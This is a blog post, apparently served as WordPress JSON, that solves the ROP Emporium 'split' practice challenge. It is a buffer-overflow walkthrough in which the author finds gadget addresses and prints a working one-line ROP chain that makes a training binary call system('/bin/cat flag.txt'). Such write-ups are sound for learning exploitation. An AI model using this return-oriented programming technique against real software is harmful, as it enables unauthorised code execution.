{"id":945,"date":"2019-10-09T13:07:18","date_gmt":"2019-10-09T17:07:18","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=945"},"modified":"2019-10-09T13:07:18","modified_gmt":"2019-10-09T17:07:18","slug":"rop-emporium-split-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-split-solution\/","title":{"rendered":"ROP Emporium | split Solution"},"content":{"rendered":"<p>In this challenge the elements that allowed you to complete the ret2win challenge are still present, they&#8217;ve just been split apart. Find them and recombine them using a short ROP chain.<\/p>\n<p>The binary and challenge description can be found here:<br \/>\n<a href=\"https:\/\/ropemporium.com\/challenge\/split.html\">https:\/\/ropemporium.com\/challenge\/split.html<\/a><\/p>\n<p>This challenge bumps up the difficulty a bit. We&#8217;ll need to build a small ROP chain to get the binary to perform the same actions as the ret2win challenge.<\/p>\n<p>First, let&#8217;s get the binary and run it:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~ $ wget --quiet https:\/\/ropemporium.com\/binary\/split.zip\r\n\r\nandrew ~ $ unzip split.zip \r\nArchive:  split.zip\r\n  inflating: split                   \r\n extracting: flag.txt                \r\n\r\nandrew ~ $ .\/split \r\nsplit by ROP Emporium\r\n64bits\r\n\r\nContriving a reason to ask user for data...\r\n&gt; stuff\r\n\r\nExiting\r\n<\/pre>\n<p>Same functionality as before, though the length of the buffer is not specified. It&#8217;s probably the same, but I&#8217;ll want to verify anyway. Unfortunately, overwriting beyond the saved return pointer on the stack results in the RIP register not actually getting the overwritten value:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~ $ sudo dmesg -C\r\n\r\nandrew ~ $ python2 -c 'print &quot;A&quot;*200' | .\/split \r\nsplit by ROP Emporium\r\n64bits\r\n\r\nContriving a reason to ask user for data...\r\n&gt; Segmentation fault (core dumped)\r\n\r\nandrew ~ $ dmesg -t\r\ntraps: split&#x5B;109086] general protection fault ip:400806 sp:7ffc20ef29e8 error:0 in split&#x5B;400000+1000]\r\n<\/pre>\n<p>This happened with the ret2win challenge as well, I just didn&#8217;t demonstrate it since the ret2win page tells you to use 45 bytes to overflow the buffer. I think it has to do with the protections in place for the binary. Fortunately, I can use the power of Bash loops to quickly figure out how many bytes of input causes a segfault:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~ $ for i in $(seq 30 50); do echo &quot;Bytes: $i&quot;; python2 -c &quot;print \\&quot;A\\&quot;*$i&quot; | .\/split &gt;\/dev\/null; done\r\nBytes: 30\r\nBytes: 31\r\nBytes: 32\r\nBytes: 33\r\nBytes: 34\r\nBytes: 35\r\nBytes: 36\r\nBytes: 37\r\nBytes: 38\r\nBytes: 39\r\nBytes: 40\r\nSegmentation fault (core dumped)\r\nBytes: 41\r\nSegmentation fault (core dumped)\r\nBytes: 42\r\nSegmentation fault (core dumped)\r\nBytes: 43\r\nSegmentation fault (core dumped)\r\nBytes: 44\r\nSegmentation fault (core dumped)\r\nBytes: 45\r\nSegmentation fault (core dumped)\r\n...\r\n\r\nandrew ~ $ sudo dmesg -C\r\n\r\nandrew ~ $ python2 -c 'print &quot;A&quot;*45' | .\/split \r\nsplit by ROP Emporium\r\n64bits\r\n\r\nContriving a reason to ask user for data...\r\n&gt; Segmentation fault (core dumped)\r\n\r\nandrew ~ $ dmesg -t\r\nsplit&#x5B;110005]: segfault at a4141414141 ip 00000a4141414141 sp 00007fff59067ee0 error 14 in libc-2.30.so&#x5B;7f7abc2d2000+25000]\r\nCode: Bad RIP value.\r\n<\/pre>\n<p>As predicted, this is the same as with the ret2win challenge. On to building a ROP chain. The &#8220;split challenge&#8221; page says that we should verify the two elements that are necessary to complete this, the <code>\"\/bin\/cat flag.txt\"<\/code> string and the call to<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\" data-darkreader-inline-color=\"\" data-darkreader-inline-bgcolor=\"\" data-darkreader-inline-bgimage=\"\"> system()<\/span>. <code>rabin2<\/code> can help us with that:<\/p>\n<pre class=\"brush: plain; highlight: [9,15]; title: ; notranslate\" title=\"\">\r\nandrew ~ $ rabin2 -z split\r\n&#x5B;Strings]\r\nNum Paddr      Vaddr      Len Size Section  Type  String\r\n000 0x000008a8 0x004008a8  21  22 (.rodata) ascii split by ROP Emporium\r\n001 0x000008be 0x004008be   7   8 (.rodata) ascii 64bits\\n\r\n002 0x000008c6 0x004008c6   8   9 (.rodata) ascii \\nExiting\r\n003 0x000008d0 0x004008d0  43  44 (.rodata) ascii Contriving a reason to ask user for data...\r\n004 0x000008ff 0x004008ff   7   8 (.rodata) ascii \/bin\/ls\r\n000 0x00001060 0x00601060  17  18 (.data) ascii \/bin\/cat flag.txt\r\n\r\nandrew ~ $ rabin2 -i split\r\n&#x5B;Imports]\r\nNum  Vaddr       Bind      Type Name\r\n   1 0x004005d0  GLOBAL    FUNC puts\r\n   2 0x004005e0  GLOBAL    FUNC system\r\n   3 0x004005f0  GLOBAL    FUNC printf\r\n   4 0x00400600  GLOBAL    FUNC memset\r\n   5 0x00400610  GLOBAL    FUNC __libc_start_main\r\n   6 0x00400620  GLOBAL    FUNC fgets\r\n   7 0x00000000    WEAK  NOTYPE __gmon_start__\r\n   8 0x00400630  GLOBAL    FUNC setvbuf\r\n<\/pre>\n<p>Now I&#8217;ll need to learn how the call to<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\" data-darkreader-inline-color=\"\" data-darkreader-inline-bgcolor=\"\" data-darkreader-inline-bgimage=\"\"> system() <\/span>is made while passing a string as an argument. For that, I&#8217;ll look at the ret2win binary as an example:<\/p>\n<pre class=\"brush: plain; highlight: [13,14]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x00400650]&gt; aa\r\n&#x5B;Cannot analyze at 0x00400640g with sym. and entry0 (aa)\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n\r\n&#x5B;0x00400650]&gt; pdf @ sym.ret2win\r\n\u250c (fcn) sym.ret2win 32\r\n\u2502   sym.ret2win ();\r\n\u2502           0x00400811      push rbp\r\n\u2502           0x00400812      mov rbp, rsp\r\n\u2502           0x00400815      mov edi, str.Thank_you__Here_s_your_flag:  ; 0x4009e0 ; &quot;Thank you! Here's your flag:&quot;\r\n\u2502           0x0040081a      mov eax, 0\r\n\u2502           0x0040081f      call sym.imp.printf                        ; int printf(const char *format)\r\n\u2502           0x00400824      mov edi, str.bin_cat_flag.txt              ; 0x4009fd ; &quot;\/bin\/cat flag.txt&quot;\r\n\u2502           0x00400829      call sym.imp.system                        ; int system(const char *string)\r\n\u2502           0x0040082e      nop\r\n\u2502           0x0040082f      pop rbp\r\n\u2514           0x00400830      ret\r\n<\/pre>\n<p>This shows that all I need to do is get the address of the string into EDI\/RDI and make the call to<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\" data-darkreader-inline-color=\"\" data-darkreader-inline-bgcolor=\"\" data-darkreader-inline-bgimage=\"\"> system()<\/span>. What I can do, it put the address of the string (0x601060) onto the stack, pop that into RDI (since this is 64-bit after all), then call<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\" data-darkreader-inline-color=\"\" data-darkreader-inline-bgcolor=\"\" data-darkreader-inline-bgimage=\"\"> system()<\/span>.<\/p>\n<p>First, as a proof-of-concept, I&#8217;d like to make sure I can exploit the binary. Fortunately, there&#8217;s an unused function that I can force the program to call:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&#x5B;0x00400650]&gt; fs imports\r\n\r\n&#x5B;0x00400650]&gt; f~system\r\n0x004005e0 6 sym.imp.system\r\n\r\n&#x5B;0x00400650]&gt; axF sym.imp.system\r\nFinding references of flags matching 'sym.imp.system'...\r\n&#x5B;0x004009b0-0x00400a84] sym.usefulFunction 0x400810 &#x5B;CALL] call sym.imp.system\r\nMacro 'findstref' removed.\r\n\r\n&#x5B;0x00400650]&gt; pdf @ sym.usefulFunction\r\n\u250c (fcn) sym.usefulFunction 17\r\n\u2502   sym.usefulFunction ();\r\n\u2502           0x00400807      push rbp\r\n\u2502           0x00400808      mov rbp, rsp\r\n\u2502           0x0040080b      mov edi, str.bin_ls          ; 0x4008ff ; &quot;\/bin\/ls&quot;\r\n\u2502           0x00400810      call sym.imp.system          ; int system(const char *string)\r\n\u2502           0x00400815      nop\r\n\u2502           0x00400816      pop rbp\r\n\u2514           0x00400817      ret\r\n<\/pre>\n<p>I used the <u>a<\/u>nalyze <u>x<\/u>references <u>F<\/u>lags command to find any cross references to the <code>sym.imp.system<\/code> flag. In this case, radare2 tells me that it&#8217;s called by<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> usefulFunction()<\/span>. It seems the only purpose of that function is to run the <code>\/bin\/ls<\/code> command.<\/p>\n<p>Let&#8217;s overwrite the saved return pointer on the stack to redirect the flow of execution to there:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~ $ python2 -c 'import struct;print &quot;A&quot;*40 + struct.pack(&quot;Q&quot;,0x400807)' | .\/split\r\nsplit by ROP Emporium\r\n64bits\r\n\r\nContriving a reason to ask user for data...\r\n&gt;  Desktop   Documents   Downloads   exploit-pattern   flag.txt   profile.rr2   ret2win   split  'VirtualBox VMs'\r\nSegmentation fault (core dumped)\r\n<\/pre>\n<p>There it is! Right before the segfault is the listing of files in my current directory. Now I can build a ROP chain to get the binary to spit out the contents of flag.txt. The input to the binary will look something like this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&quot;A&quot; * 40 =&gt; buffer\r\nAddress1 =&gt; &quot;pop edi&quot; gadget\r\nAddress2 =&gt; &quot;\/bin\/cat flag.txt&quot;\r\nAddress3 =&gt; system()\r\n<\/pre>\n<p>So now, we&#8217;ve got to actually find the gadget. radare2 has as gadget searching mechanism using the <code>\/R<\/code> command. However, I can&#8217;t seem to get it to work properly. No matter. I can use <a href=\"https:\/\/github.com\/sashs\/Ropper\">Ropper<\/a>, a Python-based tool for searching for gadgets:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~ $ ropper --file split --search &quot;pop rdi; ret&quot;\r\n&#x5B;INFO] Load gadgets from cache\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;LOAD] removing double gadgets... 100%\r\n&#x5B;INFO] Searching for gadgets: pop rdi; ret\r\n\r\n&#x5B;INFO] File: split\r\n0x0000000000400883: pop rdi; ret;\r\n<\/pre>\n<p>Great! It found one. Now I&#8217;ve got all the addresses I need. The input should now look like:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&quot;A&quot; * 40 =&gt; buffer\r\n0x400883 =&gt; &quot;pop edi&quot; gadget\r\n0x601060 =&gt; &quot;\/bin\/cat flag.txt&quot;\r\n0x4005e0 =&gt; system()\r\n<\/pre>\n<p>Now I should be able to put it all together. If it were any more complex, I&#8217;d probably write a Python script, but I can squeeze this onto a single line:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nandrew ~ $ python2 -c 'import struct;print &quot;A&quot;*40 + struct.pack(&quot;Q&quot;,0x400883)+struct.pack(&quot;Q&quot;,0x601060)+struct.pack(&quot;Q&quot;,0x4005e0)' | .\/split\r\nsplit by ROP Emporium\r\n64bits\r\n\r\nContriving a reason to ask user for data...\r\n&gt; ROPE{a_placeholder_32byte_flag!}\r\nSegmentation fault (core dumped)\r\n<\/pre>\n<p>Perhaps in the future I&#8217;ll learn how to use the <a href=\"https:\/\/github.com\/Gallopsled\/pwntools\">pwntools<\/a> Python library.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this challenge the elements that allowed you to complete the ret2win challenge are still present, they&#8217;ve just been split apart. Find them and recombine them using a short ROP chain. &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-split-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">ROP Emporium | split Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-945","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/945","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=945"}],"version-history":[{"count":25,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/945\/revisions"}],"predecessor-version":[{"id":986,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/945\/revisions\/986"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}